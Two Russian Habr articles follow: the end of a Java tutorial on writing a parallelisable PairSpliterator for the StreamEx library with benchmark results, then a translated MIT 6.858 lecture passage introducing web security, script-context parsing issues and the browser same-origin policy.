* **estimateSize()** — метод должен возвращать количество оставшихся элементов для SIZED-сплитераторов и как можно более точную оценку в остальных случаях. Например, если мы создадим сплитератор от `HashSet` и разделим его с помощью `trySplit()`, `estimateSize()` будет возвращать половину от исходного размера коллекции, хотя реальное количество элементов в половине хэш-таблицы может отличаться. Если элементов бесконечное количество или посчитать их слишком трудозатратно, можно вернуть `Long.MAX_VALUE`.
Создать поток по имеющемуся сплитератору очень легко — надо вызвать [StreamSupport.stream()](https://docs.oracle.com/javase/8/docs/api/java/util/stream/StreamSupport.html#stream-java.util.Spliterator-boolean-).
### Когда сплитератор писать не надо
Главное понимать, что сам по себе сплитератор вам не нужен, вам нужен поток. Если вы можете создать поток, используя существующий функционал, то стоит сделать именно так. К примеру, хотите вы подружить потоки с XML DOM и создавать поток по `NodeList`. Стандартного такого метода нет, но его легко написать без дополнительных сплитераторов:
```
public class XmlStream {
static Stream of(NodeList list) {
return IntStream.range(0, list.getLength()).mapToObj(list::item);
}
}
```
Аналогично можно добавить потоки к любой нестандартной коллекции (ещё пример — `org.json.JSONArray`), которая умеет быстро вернуть длину и элемент по порядковому номеру.
Если вам трудно или лень писать `trySplit`, лучше не пишите сплитератор вообще. Вот один товарищ [пишет](https://github.com/poetix/protonpack/tree/master/src/main/java/com/codepoetics/protonpack) библиотеку protonpack, полностью игнорируя существование параллельных потоков. Он написал много сплитераторов, которые вообще не умеют делиться. Сплитератор, который вообще не делится — это плохой, негодный сплитератор. Не делайте так. В данном случае лучше написать обычный итератор и создать по нему сплитератор с помощью методов [Spliterators.spliterator](https://docs.oracle.com/javase/8/docs/api/java/util/Spliterators.html#spliterator-java.util.Iterator-long-int-) или, если вам заранее неизвестен размер коллекции, то [Spliterators.spliteratorUnknownSize](https://docs.oracle.com/javase/8/docs/api/java/util/Spliterators.html#spliteratorUnknownSize-java.util.Iterator-int-). Эти методы имеют хоть какую-то эвристику для деления: они обходят часть итератора, вычитывая его в массив и создавая новый сплитератор для этого массива. Если в потоке будет дальше длительная операция, то распараллеливание всё равно ускорит работу.
Если вы реализуете стандартный интерфейс `Iterable` или `Collection`, то вам совершенно бесплатно выдаётся `default`-метод `spliterator()`. Стоит, конечно, посмотреть, нельзя ли его улучшить. Так или иначе, свои сплитераторы требуется писать весьма редко. Это может пригодиться, если вы разрабатываете свою структуру данных (например, коллекцию на примитивах, как делает [leventov](https://habrahabr.ru/users/leventov/)).
### И всё-таки напишем
Мы напишем новый сплитератор для решения такой задачи: по заданному потоку создать поток пар из соседних значений исходного потока. Так как общепринятого типа для представления пары значений в Java нет и возможных вариантов слишком много (использовать массив из двух значений, список из двух значений, `Map.Entry` с одинаковым типом ключа и значения и т. д.), мы отдадим это на откуп пользователю: пусть сам решает, как объединить два значения. То есть мы хотим создать метод с такой сигнатурой:
```
public static Stream pairMap(Stream stream, BiFunction mapper) {...}
```
С его помощью можно использовать любой тип для представления пары. Например, если мы хотим `Map.Entry`:
```
public static Stream> pairs(Stream stream) {
return pairMap(stream, AbstractMap.SimpleImmutableEntry::new);
}
```
А можно вообще сразу вычислить что-нибудь интересное, не складывая пары в промежуточный контейнер:
```
public static Stream diff(Stream stream) {
return pairMap(stream, (a, b) -> b - a);
}
```
Этот метод по потоку целых чисел вернёт поток разностей соседних элементов. Как нетрудно догадаться, в итоговом потоке будет на один элемент меньше, чем в исходном.
Мы хотим, чтобы наш `pairMap` выглядел как обычная промежуточная ([intermediate](https://docs.oracle.com/javase/8/docs/api/java/util/stream/package-summary.html#StreamOps)) операция, то есть фактически никаких вычислений производиться не должно, пока дело не дойдёт до терминальной операции. Для этого надо взять `spliterator` у входного потока, но ничего с ним не делать, пока нас не попросят. Ещё одна маленькая, но важная вещь: при закрытии нового потока через `close()` надо закрыть исходный поток. В итоге наш метод может выглядеть так:
```
public static Stream pairMap(Stream stream, BiFunction mapper) {
return StreamSupport.stream(new PairSpliterator<>(mapper, stream.spliterator()), stream.isParallel()).onClose(stream::close);
}
```
Исходный поток после вызова метода `spliterator()` становится «использованным», с ним больше каши не сваришь. Но это нормально: так происходит со всеми промежуточными потоками, когда вы добавляете новую операцию. Метод [Stream.concat()](https://docs.oracle.com/javase/8/docs/api/java/util/stream/Stream.html#concat-java.util.stream.Stream-java.util.stream.Stream-), склеивающий два потока, выглядит примерно так же. Осталось написать сам `PairSpliterator`.
### Переходим к сути дела
Самое простое — это написать метод `characteristics()`. Часть характеристик наследуется у исходного сплитератора, но необходимо сбросить NONNULL, DISTINCT и SORTED: мы не можем гарантировать этих характеристик после применения произвольной mapper-функции:
```
public int characteristics() {
return source.characteristics() & (SIZED | SUBSIZED | CONCURRENT | IMMUTABLE | ORDERED);
}
```
Реализация метода `tryAdvance` должна быть довольно простой. Надо лишь вычитывать данные из исходного сплитератора, запоминая предыдущий элемент в промежуточном буфере, и вызывать для последней пары `mapper`. Стоит только помнить, находимся мы в начале потока или нет. Для этого пригодится булева переменная `hasPrev`, указывающая, есть ли у нас предыдущее значение.
Метод `trySplit` лучше всего реализовать, вызвав `trySplit` у исходного сплитератора. Основная сложность тут — обработать пару на стыке двух разделённых кусков исходного потока. Эту пару должен обработать сплитератор, который обходит первую половину. Соответственно, он должен хранить первое значение из второй половины и, когда доберётся до конца, сработать ещё раз, подав его в `mapper` вместе с последним своим значением.
Разобравшись с этим, напишем конструкторы:
```
class PairSpliterator implements Spliterator {
Spliterator source;
boolean hasLast, hasPrev;
private T cur;
private final T last;
private final BiFunction mapper;
public PairSpliterator(BiFunction mapper, Spliterator source) {
this(mapper, source, null, false, null, false);
}
public PairSpliterator(BiFunction mapper, Spliterator source, T prev, boolean hasPrev, T last,
boolean hasLast) {
this.source = source; // исходный сплитератор
this.hasLast = hasLast; // есть ли дополнительный элемент в конце (первый из следующего куска)
this.hasPrev = hasPrev; // известен ли предыдущий элемент
this.cur = prev; // предыдущий элемент
this.last = last; // дополнительный элемент в конце
this.mapper = mapper;
}
// ...
}
```
Метод `tryAdvance` (вместо лямбды для передачи в исходный `tryAdvance` воспользуемся ссылкой на сеттер):
```
void setCur(T t) {
cur = t;
}
@Override
public boolean tryAdvance(Consumer super R action) {
if (!hasPrev) { // мы в самом начале: считаем один элемент из источника
if (!source.tryAdvance(this::setCur)) {
return false; // источник вообще пустой — выходим
}
hasPrev = true;
}
T prev = cur; // запоминаем предыдущий элемент
if (!source.tryAdvance(this::setCur)) { // вычитываем следующий из источника
if (!hasLast)
return false; // совсем всё закончилось — выходим
hasLast = false; // обрабатываем пару на стыке двух кусков
cur = last;
}
action.accept(mapper.apply(prev, cur)); // передаём в action результат mapper'а
return true;
}
```
А вот и метод `trySplit()`:
```
public Spliterator trySplit() {
Spliterator prefixSource = source.trySplit(); // пытаемся разделить источник
if (prefixSource == null)
return null; // не вышло — тогда мы сами тоже не делимся
T prev = cur; // это последний считанный до сих пор элемент, если он вообще был
if (!source.tryAdvance(this::setCur)) { // вычитываем первый элемент второй половины
source = prefixSource; // вторая половина источника оказалась пустой — смысла делиться нет
return null;
}
boolean oldHasPrev = hasPrev;
hasPrev = true; // теперь текущий сплитератор обходит вторую половину, а для первой создаём новый
return new PairSpliterator<>(mapper, prefixSource, prev, oldHasPrev, cur, true);
}
```
Написать `estimateSize()` несложно: если исходный сплитератор способен оценить свой размер, надо лишь проверить флаги и подправить его на единичку туда или обратно:
```
public long estimateSize() {
long size = source.estimateSize();
if (size == Long.MAX_VALUE) // источник не смог оценить свой размер — мы тоже не можем
return size;
if (hasLast) // этот сплитератор будет обрабатывать дополнительную пару на стыке кусков
size++;
if (!hasPrev && size > 0) // этот сплитератор ещё не вычитал первый элемент
size--;
return size;
}
```
В подобном виде этот сплитератор и [попал](https://github.com/amaembo/streamex/blob/master/src/main/java/javax/util/streamex/PairSpliterator.java) в мою библиотеку StreamEx. Отличие только в том, что потребовалось сделать версии для примитивных типов, ну и `pairMap` — это не статический метод.
### Всё это, небось, сильно тормозит?
Со скоростью всё не так плохо. Возьмём для примера вот такую [задачу](http://stackoverflow.com/q/30089761/4856258) со StackOverflow: из заданного набора чисел `Integer` оставить только те, которые меньше следующего за ними числа, и сохранить результат в новый список. Сама по себе задача очень простая, поэтому существенная часть времени будет уходить на оверхед. Можно предложить две наивные реализации: через итератор (будет работать с любой коллекцией) и через доступ по номеру элемента (будет работать только со списком с быстрым случайным доступом). Вот вариант с итератором (naiveIterator):
```
List result = new ArrayList<>();
Integer last = null;
for (Integer cur : input) {
if (last != null && last < cur)
result.add(last);
last = cur;
}
```
А вот со случайным доступом (naiveGet):
```
List result = new ArrayList<>();
for (int i = 0; i < input.size() - 1; i++) {
Integer cur = input.get(i), next = input.get(i + 1);
if (cur < next)
result.add(cur);
}
```
Решение с помощью библиотеки StreamEx очень компактно и работает с любым источником данных (streamEx):
```
List result = StreamEx.of(input).pairMap((a, b) -> a < b ? a : null).nonNull().toList();
```
Комментаторами было предложено ещё три работающих решения. Наибольшее число голосов набрало более-менее традиционное, которому на входе требуется список со случайным доступом (назовём это решение stream):
```
List result = IntStream.range(0, input.size() - 1).filter(i -> input.get(i) < input.get(i + 1)).mapToObj(input::get)
.collect(Collectors.toList());
```
Следующее — это reduce с побочным эффектом, который не параллелится (reduce):
```
List result = new ArrayList<>();
input.stream().reduce((a, b) -> {
if (a < b)
result.add(a);
return b;
});
```
И последнее — это свой коллектор, который также не параллелится (collector):
```
public static Collector> collectPrecedingValues() {
int[] holder = { Integer.MAX\_VALUE };
return Collector.of(ArrayList::new, (l, elem) -> {
if (holder[0] < elem)
l.add(holder[0]);
holder[0] = elem;
}, (l1, l2) -> {
throw new UnsupportedOperationException("Don't run in parallel");
});
}
List result = input.stream().collect(collectPrecedingValues());
```
В сравнение также попадают распараллеленные версии stream и streamEx. Опыт будем проводить на массивах случайных целых чисел длиной n = 10 000, 100 000 и 1 000 000 элементов (в результат попадёт порядка половины). Полный код JMH-бенчмарка [здесь](https://gist.github.com/amaembo/f683235194a59ae4f10c). Проверено, что все алгоритмы выдают одинаковый результирующий массив.
Замеры проводились на четырёхъядерном Core-i5. Результаты выглядят так (все времена в микросекундах на операцию, меньше — лучше):
| Алгоритм | n = 10 000 | n = 100 000 | n = 1 000 000 |
| --- | --- | --- | --- |
| naiveIterator | 97.7 | 904.0 | 10592.7 |
| naiveGet | 99.8 | 1084.4 | 11424.2 |
| collector | 112.5 | 1404.9 | 14387.2 |
| reduce | 112.1 | 1139.5 | 12001.5 |
| stream | 146.4 | 1624.1 | 16600.9 |
| streamEx | 115.2 | 1247.1 | 12967.0 |
| streamParallel | 56.9 | 582.3 | 6120.5 |
| streamExParallel | 53.4 | 516.7 | 5353.4 |
Видно, что версия с pairMap (streamEx) обгоняет и традиционный потоковый вариант (stream), и версию с коллектором, уступая только неправильному reduce. При этом параллельная версия streamEx также быстрее параллельной версии stream и существенно обгоняет все последовательные версии даже для небольшого набора данных. Это согласуется с эмпирическим правилом из [Stream Parallel Guidance](http://gee.cs.oswego.edu/dl/html/StreamParallelGuidance.html): имеет смысл параллелить задачу, если она выполняется не менее 100 микросекунд.
Если вы хотите создавать свои потоки, помните, что от хорошего сплитератора зависит, как будет параллелиться ваша задача. Если вы не хотите заморачиваться с делением, не пишите сплитератор вообще, а воспользуйтесь утилитными методами. Также не стоит писать новый сплитератор, если возможно создать поток, используя существующий функционал JDK. Если у вас сплитератор хороший, то даже не очень сложная задача может ускориться при параллельной обработке. | https://habr.com/ru/post/256905/ | null | ru | null |
# Курс MIT «Безопасность компьютерных систем». Лекция 8: «Модель сетевой безопасности», часть 1
### Массачусетский Технологический институт. Курс лекций #6.858. «Безопасность компьютерных систем». Николай Зельдович, Джеймс Микенс. 2014 год
Computer Systems Security — это курс о разработке и внедрении защищенных компьютерных систем. Лекции охватывают модели угроз, атаки, которые ставят под угрозу безопасность, и методы обеспечения безопасности на основе последних научных работ. Темы включают в себя безопасность операционной системы (ОС), возможности, управление потоками информации, языковую безопасность, сетевые протоколы, аппаратную защиту и безопасность в веб-приложениях.
Лекция 1: «Вступление: модели угроз» [Часть 1](https://habr.com/company/ua-hosting/blog/354874/) / [Часть 2](https://habr.com/company/ua-hosting/blog/354894/) / [Часть 3](https://habr.com/company/ua-hosting/blog/354896/)
Лекция 2: «Контроль хакерских атак» [Часть 1](https://habr.com/company/ua-hosting/blog/414505/) / [Часть 2](https://habr.com/company/ua-hosting/blog/416047/) / [Часть 3](https://habr.com/company/ua-hosting/blog/416727/)
Лекция 3: «Переполнение буфера: эксплойты и защита» [Часть 1](https://habr.com/company/ua-hosting/blog/416839/) / [Часть 2](https://habr.com/company/ua-hosting/blog/418093/) / [Часть 3](https://habr.com/company/ua-hosting/blog/418099/)
Лекция 4: «Разделение привилегий» [Часть 1](https://habr.com/company/ua-hosting/blog/418195/) / [Часть 2](https://habr.com/company/ua-hosting/blog/418197/) / [Часть 3](https://habr.com/company/ua-hosting/blog/418211/)
Лекция 5: «Откуда берутся ошибки систем безопасности» [Часть 1](https://habr.com/company/ua-hosting/blog/418213/) / [Часть 2](https://habr.com/company/ua-hosting/blog/418215/)
Лекция 6: «Возможности» [Часть 1](https://habr.com/company/ua-hosting/blog/418217/) / [Часть 2](https://habr.com/company/ua-hosting/blog/418219/) / [Часть 3](https://habr.com/company/ua-hosting/blog/418221/)
Лекция 7: «Песочница Native Client» [Часть 1](https://habr.com/company/ua-hosting/blog/418223/) / [Часть 2](https://habr.com/company/ua-hosting/blog/418225/) / [Часть 3](https://habr.com/company/ua-hosting/blog/418227/)
Лекция 8: «Модель сетевой безопасности» [Часть 1](https://habr.com/company/ua-hosting/blog/418229/) / [Часть 2](https://habr.com/company/ua-hosting/blog/423155/) / [Часть 3](https://habr.com/company/ua-hosting/blog/423423/)
Давайте начнем следующую часть нашего увлекательного путешествия в мир компьютерной безопасности. Сегодня мы поговорим о веб-безопасности. На самом деле, интернет – безопасность — одна из моих любимых тем для разговора, потому что она знакомит вас с истинными ужасами этого мира.
Конечно, легко быть студентом и думать, что всё будет здорово, стоит вам только окончить институт. Однако сегодняшняя и следующая лекция расскажут вам, что на самом деле, это не так и вас ждут сплошные ужасы.
Так что же такое интернет? В старые времена сеть была намного проще, чем сегодня. Клиенты, то есть браузеры, не могли ничего сделать с отображением фиксированного или активного содержания. По существу они могли только получать статические изображения и статические тексты.
Но серверная часть была немного интереснее, даже если на стороне клиента было статическое содержимое. Сервер мог общаться с базами данных, он мог «говорить» с другими машинами на стороне сервера. Таким образом, в течение очень долгого времени понятие веб-безопасности, в принципе, было связано с тем, что делает сервер. На наших лекциях мы, по сути, будем использовать такой же подход.
Мы рассматривали такую вещь, как атака переполнением буфера. Так как клиенты могут обмануть сервер, заставив его делать то, что он не хочет делать. Вы также рассмотрели сервер OKWS и то, как там можно выполнить изоляцию привилегий.
До сих пор мы рассматривали безопасность через опыт, который был на самом деле получен при использовании самих ресурсов безопасности. Но сейчас браузеры представляют собой очень интересные с точки безопасности объекты, с которыми всё очень сложно.
Рассмотрим все виды безумных, динамичных вещей, которые может делать браузер. Например, вы наверняка слышали о JavaScript. Теперь JavaScript позволяет страницам выполнять код со стороны клиента. Существует модель DOM, о которой мы сегодня поговорим более подробно. Модель DOM, по существу, позволяет коду JavaScript динамически изменять внешний вид страницы, например, осуществлять стилизацию шрифтов и тому подобное.
У нас есть запросы XML HTTP. В основном это способ для JavaScript асинхронно получать с серверов контент. Вы также можете услышать о запросах XML HTTP, называемых AJAX — асинхронная выборка JavaScript.
Есть такие вещи, как веб-сокеты. Это недавно введенный API, интерфейс программирования. Веб-сокеты позволяют осуществлять полностью дуплексную связь между клиентами и серверами, то есть коммуникацию в обоих направлениях.
У нас также имеются все виды мультимедийной поддержки, например, тег:
Позволяющий веб-странице воспроизводить видео без использования Flash-приложения. Он может просто воспроизводить это видео изначально.
Также у нас есть геолокация. Теперь веб-страница может физически определить, где вы находитесь. Например, если вы используете веб-страницу на смартфоне, браузер может фактически получить доступ к модулю GPS вашего устройства. Если вы обращаетесь к веб-странице через браузер на рабочем столе, она может просмотреть ваше подключение Wi-Fi и подключиться к службе геолокации Wi-Fi Google, чтобы выяснить, где именно вы находитесь. Звучит безумно, не правда ли? Но теперь веб-страницы могут делать такие вещи. Мы также упоминали такую вещь, как Native Client, который позволяет браузерам запускать машинный код.
В браузере есть много других функций, о которых я здесь не упомянул. Но достаточно сказать, что современный браузер невероятно сложная вещь.
Так что же это означает с точки зрения безопасности? В общем, это значит, что мы в большом затруднении. Потому что здесь поистине огромное поле деятельности для угроз безопасности. Грубо говоря, когда вы думаете о безопасности, вы можете подумать о графике, который выглядит примерно так: вертикальная ось – это вероятность правильности выполнения функций, а горизонтальная – количество имеющихся функций. Вертикальная ось ограничена числом 100, которого мы не можем достичь даже с самым простым кодом.
По сути, эта кривая выглядит примерно так, а веб-браузеры находятся прямо здесь, в конце графика под стрелкой. Зависимость простая – чем больше процессов в системе, тем меньше вероятность их корректного выполнения. Так вот сегодня мы обсудим все виды дурацких ошибок безопасности, которые возникают постоянно. И как только исправляются старые, тут же появляются новые ошибки, потому люди продолжают добавлять в браузер новые функции, часто не думая о том, какие последствия для безопасности они могут вызвать.
Поэтому, если вы думаете о том, что такое веб-приложение в наши дни, можно сказать, что это и клиентская, и серверная штука. Современное веб-приложение охватывает несколько языков программирования, несколько компьютеров и множество программ для аппаратного оборудования.
Например, вы можете использовать Firefox на компьютере с ОС Windows, затем этот браузер собирается поговорить с машиной в облаке, на которой работает Linux, и «бежит» на сервер Apache. Может быть, он работает на чипе ARM, несовместимым с платформой x86, или наоборот. Короче говоря, здесь существуют проблемы композиции разных составляющих. Все эти уровни программного обеспечения и все эти аппаратные уровни могут повлиять на безопасность.
Поэтому всё это сложно, так как мы не имеем представления, как охватить всю эту композицию «софта» и «железа» целиком. Например, одна из общих проблем с интернетом — это парсинг контекста.
Предположим, что на странице было что-то похожее на это:
```
var x = 'UNTRUSTED';
```
Вы объявляете тег сценария, внутри него имеется переменная, которая получает значение от ненадёжной стороны — пользователя или другой машины. Затем мы закрываем тег сценария, и этой части можно доверять. То есть мы имеем строку, по краям которой расположены вещи, которым можно доверять, а в середине – недоверенный untrusted код. Почему же у нас могут возникнуть проблемы, если мы расположили посередине сценария вещь, полученную от непроверенной стороны?
**Аудитория:** у вас может быть неправильная заключительная кавычка где-то внутри этого кода, которая разобьёт строку сценария.
**Профессор:** совершенно верно! Проблема состоит в различном контексте, который может разбить этот ненадёжный код на части. Например, если закрывающая кавычка будет расположена посередине недоверенного кода, тем самым мы закроем определение этой строки JavaScript.
Итак, после того, как мы добавили контекст строки JavaScript, мы инициируем выполнение этого контекста. При этом злоумышленник может просто поместить сюда закрывающий тег скрипта , выйти из контекста JavaScript и войти в контекст HTML, например, чтобы найти новые узлы HTML или что-то в этом роде.
Поэтому вы должны рассматривать такие проблемы композиции повсюду в интернете, так как здесь используется множество различных языков: HTML, CSS, JavaScript, возможно MySQL на стороне сервера, и так далее и так далее. Таким образом, я привёл классический пример, почему вы должны сделать то, что называется «стандартизация контента». Всякий раз, когда вы получаете от кого-то ненадежные входные данные, вам нужно очень тщательно проанализировать их, чтобы убедиться, что их нельзя использовать в качестве вектора атаки.
Еще одна причина сложности обеспечения интернет-безопасности состоит в том, что веб-спецификации невероятно длинные, утомительные, скучные и часто непоследовательны. Когда я имею в виду веб-спецификации, я подразумеваю такие вещи, как определение JPEG, определение CSS, определение HTML. Эти документы имеют такой же размер, как размер Конституции ЕС и настолько же трудны для понимания. В конечном итоге, когда компании-продавцы браузеров видят все эти спецификации, они вынуждены просто сказать разработчикам: «ладно, и за это спасибо», а потом читают их и смеются над всем этим со своими друзьями.
Так что эти спецификации довольно расплывчаты и не всегда точно отражают то, что делают реальные браузеры. Если вы хотите разобраться в этом ужасе, то можете посетить сайт <https://www.quirksmode.org/>, но если хотите быть счастливыми, лучше туда не заходите. Там фактически задокументированы все эти ужасные несоответствия, которые вытворяют браузеры, когда пользователь нажимает клавишу. На этом сайте можно проверить, что при этом происходит.
В любом случае, в этой лекции мы сосредоточимся на клиентской стороне веб-приложения. В частности, мы рассмотрим, как можно изолировать контент, поступающий от различных веб-провайдеров, который должен как-то сосуществовать на одной машине и в одном браузере. Существует фундаментальное различие между тем, что вы обычно думаете о приложении на рабочем столе и тем, что думаете о веб-приложении.
Абстрактно говоря, большинство десктопных приложений, которые вы используете, могут восприниматься как продукт одного разработчика, к примеру, Microsoft. Или, возможно, вы используете программное обеспечение TurboTax от мистера и миссис TurboTax, и так далее и тому подобное. Но когда вы смотрите на веб-приложения, то, что визуально выглядят для вас одним целым, на самом деле состоит из кучи приложений разного содержания от кучи разных разработчиков.
Например, вы заходите на страницу CNN, вам кажется, что всё здесь расположено на одной вкладке. Но каждая из тех визуальных вещей, которые вы видите, на самом деле может исходить от кого-то другого. Давайте рассмотрим очень простой пример.
Допустим, мы зашли в интернет по адресу <http://foo.com/index.html>. Из чего же состоит рассматриваемая нами страница?
Вверху может располагаться реклама, которая, возможно, была загружена с ads.com. Слева может быть расположен блок аналитики, например, от google.com. Эти библиотеки очень популярны для отслеживания количества людей, которые загрузили эту страницу, для наблюдения за тем, на какие ссылки люди кликают, с какими частями страницы им интереснее взаимодействовать, и так далее.
Справа у вас может располагаться другая библиотека JavaScript, скажем, jQuery, которая поступает от cdn.foo.com. Это некий контент, предоставленный для работы foo.com.
jQuery – это очень популярная библиотека для манипуляций с GUI, поэтому jQuery имеется на множестве сайтов, хотя они получают его из разных мест. Далее на этой странице вы можете увидеть некоторые текстовые данные HTML, кнопки для пользователя, поля для ввода текста, и так далее, и так далее. Так что это просто обычный HTML-код на странице.
Затем вы можете увидеть то, что они называют встроенным кодом JavaScript от foo.com. Например, сверху у нас открывающий тег , а посередине между ними встроен непосредственно код JavaScript. В нашем случае имеется то, что называется встроенным JavaScript – это верхняя часть рисунка.
Внизу в строке я нарисую то, что мы называем сценарием JavaScript, потому что там содержимое равно чему-то, что пребывает на удалённом сервере. Это то, что называется внешним определением содержимого JavaScript. Сценарий и встроенный код отличаются друг от друга, и на нашей странице имеется именно встроенный JavaScript от foo.com.
И еще одна вещь, которая может быть здесь — это фрейм. Фрейм можно представить как отдельную вселенную JavaScript. Это немного эквивалентно процессу в UNIX. Может быть, этот фрейм исходит от [facebook.com/likethis.html](https://facebook.com/likethis.html) и внутри него у нас имеется встроенный JavaScript из Facebook.
Далее у нас могут быть некоторые изображения f.jpeg, которые также поступают с [facebook.com](https://facebook.com). Итак, всё это выглядит одной единой вкладкой, хотя состоит из различного контента, который потенциально может базироваться на совершенно разных принципах. Поэтому можно задать целую кучу интересных вопросов по поводу приложения, которое выглядит таким образом.
Например, может ли этот аналитический код google.com иметь доступ к содержимому JavaScript, которое находится в коде jQuery. В первом приближении, возможно, это кажется плохой идеей, потому что эти две части кода пришли из разных мест. Но опять же, может быть, что на самом деле это хорошо, потому что, по-видимому, foo.com поместил здесь обе эти библиотеки, чтобы они могли работать друг с другом. Так что кто знает?
Другой вопрос, который может у вас возникнуть — может ли код аналитики фактически взаимодействовать с текстом, помещенным в нижнем блоке HTML. Например, может ли код аналитики влиять на обработчиков события?
JavaScript является управляемой однопоточной моделью, таким образом, в каждом фрейме имеется цикл событий, который постоянно обрабатывается – здесь происходят ключевые процессы, работают таймеры сетевых событий и тому подобное. И если этот код JavaScript заметит, что есть ещё какие-то обработчики, которые пытаются управлять этими же событиями, то он от них избавится.
Так кто же должен уметь определять обработчиков события для этого HTML? Во-первых, google.com должен быть в состоянии сделать это. Это может также быть foo.com, а может и нет.
Другой вопрос, что связывает этот фрейм Facebook с общим, большим фреймом foo.com? Фрейм Facebook является HTTPS, то есть безопасным, foo.com это HTTP, то есть небезопасное соединение. Так как же эти две вещи могут взаимодействовать?
Чтобы ответить на эти вопросы, браузеры используют модель безопасности под названием same-origin policy, или политику одинакового происхождения. Это своего рода неопределенная цель, потому что много вещей, которые относятся к веб-безопасности, довольно расплывчаты, из-за того, что никто не знает, что именно они делают. Но основная идея состоит в том, что два веб-сайта не должны иметь возможности вмешиваться в работу друг друга, если они этого не хотят. Таким образом, определить, что означает такое вмешательство, было проще, когда сам интернет был проще. Но так как мы продолжаем добавлять новые API, нам все труднее и труднее понять, что означает цель политики невмешательства. Например, очевидно, плохо, если два веб-сайта, которые не доверяют друг другу, смогут отображать свои данные на общем дисплее. Это кажется явно плохой вещью, и очевидно хорошей вещью является то, когда два веб-сайта, желающие сотрудничать, в состоянии обмениваться данными каким-то безопасным способом.
Вы могли слышать о смешанных сайтах, это именно то, о чём я сказал. Поэтому в интернете вы будете встречаться с подобными вещами, когда кто-то берет данные с карты Google и размещает на них местоположение грузовиков с продуктами. Таким образом, у вас есть это удивительное «пюре», которое позволяет вам дешево поесть и при этом избежать сальмонеллёза. Но как именно создаются композиции такого типа?
Есть и другие сложные вещи. Например, если код JavaScript поступает от origin X внутрь страницы origin Y, то что должно представлять собой содержимое этого кода? Таким образом, стратегия, которую использует политика одинакового происхождения, приблизительно может быть описана следующим образом.
Каждому ресурсу назначается свой источник происхождения, и код JavaScript может получать доступ только к ресурсам, имеющим такой источник. Это стратегия высшего уровня, которую используют политики одинакового происхождения.
Но дьявол кроется в деталях, поэтому существует куча исключений, которые мы рассмотрим через секунду. Но прежде чем мы продолжим, давайте определим, что такое происхождение.
В принципе, происхождение – это схема сетевого протокола плюс имя хоста плюс порт. Например, у нас может быть что-то вроде http:// foo.com/index.html.
Итак, схема нашего сетевого протокола – HTTP, имя хоста foo.com, а порт 80. В данном случае порт является неявным. Порт — это порт на стороне сервера, который пользователь использует для соединения с сервером. Так что если вы видите URL со схемой HTTP, где нет явно указанного порта, то здесь используется порт 80.
Если рассмотреть что-то вроде https:// foo.com/index.html, то эти два адреса имеют одинаковое имя узла, но на самом деле у них разные схемы – протокол https против http. Кроме того, здесь неявно присутствует порт 443, который является портом по умолчанию для безопасного протокола HTTPS. Итак, эти два URL имеют разное происхождение.
В качестве последнего примера рассмотрим сайт http:// bar.com:8181/…
Многоточие после слеша указывает то, что эти вещи не имеют значения по отношению к политике одинаково происхождения, по крайней мере, в отношении этого очень простого примера.
Мы видим, что у нас есть схема HTTP, имя хоста bar.com, и здесь мы имеем явно указанный порт. В данном случае это нестандартный порт 8181. По сути, это и есть источник происхождения. Грубо говоря, можно думать о происхождении как об идентификаторе UID в Unix, где фрейм рассматривается как процесс.
Таким образом, есть четыре основные идеи, лежащие в основе реализации политики одинакового происхождения для браузера.
Первая идея: каждый источник происхождения имеет клиентскую часть ресурса. Эта клиентская часть – кукиз. Файлы cookie можно рассматривать как очень простой способ реализации состояния в таком не сохраняющемся протоколе, как HTTP.
В принципе, cookie — это крошечный файл, который ассоциируется с каждым оригинальным источником. Позже мы немного поговорим об этой специфике.
Но основная идея заключается в том, что когда браузер отправляет запрос на определенный сайт, он включает в него любые cookie, которые клиент имеет для этого сайта. И эти кукиз можно использовать для таких вещей, как запоминание пароля.
Например, если вы собираетесь на сайт электронной коммерции, в этих кукиз может содержаться упоминание о товарах в корзине пользователя и так далее.
Таким образом, файлы cookie — это одна вещь, с которой может быть ассоциирован каждый источник происхождения origin. Кроме того, вы воспринимать хранилище объектных моделей документов DOM как ещё один источник этих ресурсов. Это довольно новый интерфейс, но он уже имеет ключевое значение как интерфейс структурирования HTML и XML-документов.
Таким образом, хранилище DOM позволяет сказать источнику: «позволь мне связать данный ключ, который является строкой, с этим заданным значением, которое также является строкой».
Другой вещью, связанной с origin, является пространство имен JavaScript. Это пространство имен определяет, какие функции и интерфейсы доступны для источника происхождения.
В некоторые из этих интерфейсов встроены, например, прототипы строк и тому подобное. Затем приложение может фактически заполнить пространство имен JavaScript другим содержимым.
Еще есть такая штука, как дерево DOM. Как известно, DOM означает «Объектная Модель Документа». А дерево Dom — это, по сути, отражение HTML на странице при помощи JavaScript.
Таким образом, вы можете себе представить, что вверху дерево DOM имеет узел HTML, ниже расположен узел для тега заголовка сообщения head и узел для тега тела сообщения body и так далее.
Так что многие динамические веб-страницы изменяются благодаря коду JavaScript, который может получить доступ к данным этой структуры в JavaScript, отражающей содержимое HTML.
Таким образом, вы можете себе представить, что анимация на странице браузера происходит благодаря изменению некоторые узлов дерева для того, чтобы реализовать различные организации различных вкладок. Вот что такое дерево DOM. Там же находится область визуального отображения, которая, как мы позже увидим, очень странно взаимодействует с той же политикой источника происхождения, и так далее и тому подобное.
Таким образом, на высоком уровне, каждый источник имеет доступ к некоторому набору клиентских ресурсов перечисленных нами типов.
Вторая идея заключается в том, что каждый фрейм получает источник происхождения своего URL-адреса. Как я уже упоминал ранее, фрейм примерно аналогичен процессу в Unix. Это вроде пространства имен, которое объединяет кучу других различных ресурсов.
Третья идея заключается в том, что скрипты, или код JavaScript, выполняются с полномочиями, соответствующими полномочиям источника происхождения фрейма.
Это означает, что когда foo.com импортирует файл JavaScript из bar.com, то файл JavaScript будет в состоянии действовать с полномочиями foo.com. Грубо говоря, это похоже на то, что происходит в мире Unix, когда нужно запустить двоичный файл, принадлежащий чужому домашнему каталогу. Это что-то, что должно выполняться в соответствии с вашими привилегиями.
Четвёртая идея — это пассивный контент. Под пассивным контентом я подразумеваю изображения или CSS файлы, то есть вещи, которые не содержат в себе исполняемый код.
Таким образом, пассивный контент получает от браузера нулевые полномочия. Через секунду я объясню тонкости четвёртой идеи. Возвращаясь к нашему примеру, можно увидеть, что скрипт Google Analytics и скрипт jQuery могут получить доступ ко всем видам содержимого внутри foo.com. Например, они могут читать и записывать файлы cookie, могут прикрепить обработчик событий к кнопкам, и так далее.
